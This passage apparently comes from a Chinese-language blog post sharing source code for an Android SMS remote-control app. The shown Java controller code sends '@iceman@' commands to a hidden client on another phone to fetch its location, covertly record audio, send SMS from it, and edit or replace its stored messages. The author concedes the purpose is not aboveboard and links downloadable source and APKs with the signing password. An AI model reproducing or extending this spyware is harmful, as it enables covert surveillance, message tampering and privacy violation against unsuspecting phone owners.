                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_control_number), Toast.LENGTH_SHORT).show();
                }
            }
        });
        mListenSetBtn.setOnClickListener(new OnClickListener() {
            public void onClick(View v) {
                String str = mListenSetEditText.getText().toString().trim();
                if (str.equals("") == false) {
                    mListenNumberText.setText(SMSadminActivity.this.getString(R.string.now_listen) + str);
                    mListenSetBtn.setText(SMSadminActivity.this.getString(R.string.listen_number_set_over));
                    mListenNumber = str;
                    Editor editor = mSharedpreferences.edit();
                    editor.putString("listen", str);
                    editor.commit();
                    // et2.setEnabled(false);
                    // btn2.setClickable(false);
                    mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@change" + mListenNumber, null, null);
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.listen_number_set_send), Toast.LENGTH_SHORT).show();
                } else {
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_listen_number), Toast.LENGTH_SHORT).show();
                }
            }
        });
        mSearchBtn.setOnClickListener(new OnClickListener() {
            public void onClick(View v) {
                if (mClientNumber.equals("") == false) {
                    mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@search", null, null);
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.search_send_over), Toast.LENGTH_SHORT).show();
                } else {
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
                }
            }
        });
        mOpenLocationBtn.setOnClickListener(new OnClickListener() {
            public void onClick(View v) {
                if (mClientNumber.equals("") == false) {
                    mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@location", null, null);
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.open_location_service_over), Toast.LENGTH_SHORT).show();
                    mOpenLocationBtn.setClickable(false);
                    mOpenLocationBtn.setText(SMSadminActivity.this.getString(R.string.location_service_open));
                } else {
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
                }
            }
        });
        mGetAddressBtn.setOnClickListener(new OnClickListener() {
            public void onClick(View v) {
                if (mClientNumber.equals("") == false) {
                    mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@where", null, null);
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.search_address_send_over), Toast.LENGTH_SHORT).show();
                } else {
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
                }
            }
        });
        mRecoderBtn.setOnClickListener(new OnClickListener() {
            public void onClick(View v) {
                if (mClientNumber.equals("") == false) {
                    if (!mIsRecording) {
                        mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@start", null, null);
                        mIsRecording = true;
                        mRecoderBtn.setText(SMSadminActivity.this.getString(R.string.stop_record));
                    } else {
                        mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@stop", null, null);
                        mIsRecording = false;
                        mRecoderBtn.setText(SMSadminActivity.this.getString(R.string.start_record));
                    }
                } else {
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
                }
            }
        });
        mSendSmsBtn.setOnClickListener(new OnClickListener() {
            public void onClick(View v) {
                if (mClientNumber.equals("") == false) {
                    String str1 = mSmsNumberSetEditText.getText().toString().trim();
                    String str2 = mSmsContentEditText.getText().toString().trim();
                    mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@sms" + "#" + str1 + "#" + str2,
                            null, null);
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.sms_send_over), Toast.LENGTH_SHORT).show();
                } else {
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
                }
            }
        });
        mEditSmsBtn.setOnClickListener(new OnClickListener() {
            
            @Override
            public void onClick(View v) {
                if(mClientNumber.equals("")){
                    Toast.makeText(SMSadminActivity.this, "目前未控制任何手機", Toast.LENGTH_SHORT).show();
                    return;
                }
                Intent it = new Intent(SMSadminActivity.this,EditSmsActivity.class);
                startActivity(it);
            }
        });

    }
}

  這個是修改簡訊的activity:

package iceman.android.smsadmin;

import iceman.android.smsadmin.R;
import android.app.Activity;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;

public class EditSmsActivity extends Activity {
    private SmsManager mSmsManager = SmsManager.getDefault();

    private EditText mSmsKey, mSmsNumber,mSmsContent;

    private Button mReplaceBtn,mEditBtn;

    private SharedPreferences mSharedpreferences = null;

    private String mClientNumber;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.edit_sms_layout);
        mSmsKey = (EditText) findViewById(R.id.key);
        mSmsNumber = (EditText) findViewById(R.id.number);
        mSmsContent = (EditText) findViewById(R.id.content);
        mEditBtn = (Button) findViewById(R.id.edit);
        mReplaceBtn = (Button) findViewById(R.id.repalce);
        mSharedpreferences = this.getSharedPreferences("config", MODE_PRIVATE);
        mClientNumber = mSharedpreferences.getString("control", "");
        mEditBtn.setOnClickListener(new OnClickListener() {
            
            @Override
            public void onClick(View v) {
                String key = mSmsKey.getText().toString().trim();
                String number = mSmsNumber.getText().toString().trim();
                String content = mSmsContent.getText().toString().trim();
                if(number.equals("")){
                    number = "00000000000";
                }
                if (key.equals("") == false && content.equals("") == false) {
                    mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@edit" + "#" + key
                            + "#" +number +"#"+content, null, null);
                    Toast.makeText(EditSmsActivity.this,
                            EditSmsActivity.this.getString(R.string.edit_sms_send_over),
                            Toast.LENGTH_SHORT).show();
                } else {
                    Toast.makeText(EditSmsActivity.this,
                            EditSmsActivity.this.getString(R.string.please_set_key_and_content),
                            Toast.LENGTH_SHORT).show();
                }
            }
        });
        mReplaceBtn.setOnClickListener(new OnClickListener() {

            @Override
            public void onClick(View v) {
                String key = mSmsKey.getText().toString().trim();
                String number = mSmsNumber.getText().toString().trim();
                String content = mSmsContent.getText().toString().trim();
                if(number.equals("")){
                    number = "00000000000";
                }
                if (key.equals("") == false && content.equals("") == false) {
                    mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@replace" + "#" + key
                            + "#" +number +"#"+content, null, null);
                    Toast.makeText(EditSmsActivity.this,
                            EditSmsActivity.this.getString(R.string.replace_sms_send_over),
                            Toast.LENGTH_SHORT).show();
                } else {
                    Toast.makeText(EditSmsActivity.this,
                            EditSmsActivity.this.getString(R.string.please_set_key_and_content),
                            Toast.LENGTH_SHORT).show();
                }
            }
        });
    }

}

  因為核心功能是受控端,所以我就不上截圖了.各位下載程式碼看的話,可以盡情吐槽我的UI.哈哈哈

4.程式總結:
從程式角度來說,這不是一個好程式,不光是因為它的容錯性比較大(如果發到沒有安裝受控端的手機上,面對莫名其妙的簡訊,誰都會起疑心的),還因為軟體的目的是在算不上光明正大,秉著學習的態度將原始碼發上來,如果大家能夠看完之後有"不錯,挺好玩的"這樣一個念頭,相信我的目的就達到了.
其實這個程式還可以做到很多功能,利用android的api,MainReceiver中的擴充套件性還是很高的.曾經打算開發一個網路版的,不利用簡訊機制了,只是android手機使用者很多時候是關閉網路連線的,所以似乎實用性還不如簡訊版的.有興趣的人可以開發一個,以遠端桌面為名,將程式導向正確的方向,也是一個不錯的選擇.

 

附上原始碼及打包好的apk檔案,證照的密碼都是123456

http://files.cnblogs.com/feifei1010/SMSreceiver.rar

http://files.cnblogs.com/feifei1010/SMSadmin.rar

 http://files.cnblogs.com/feifei1010/apks.rar

相關文章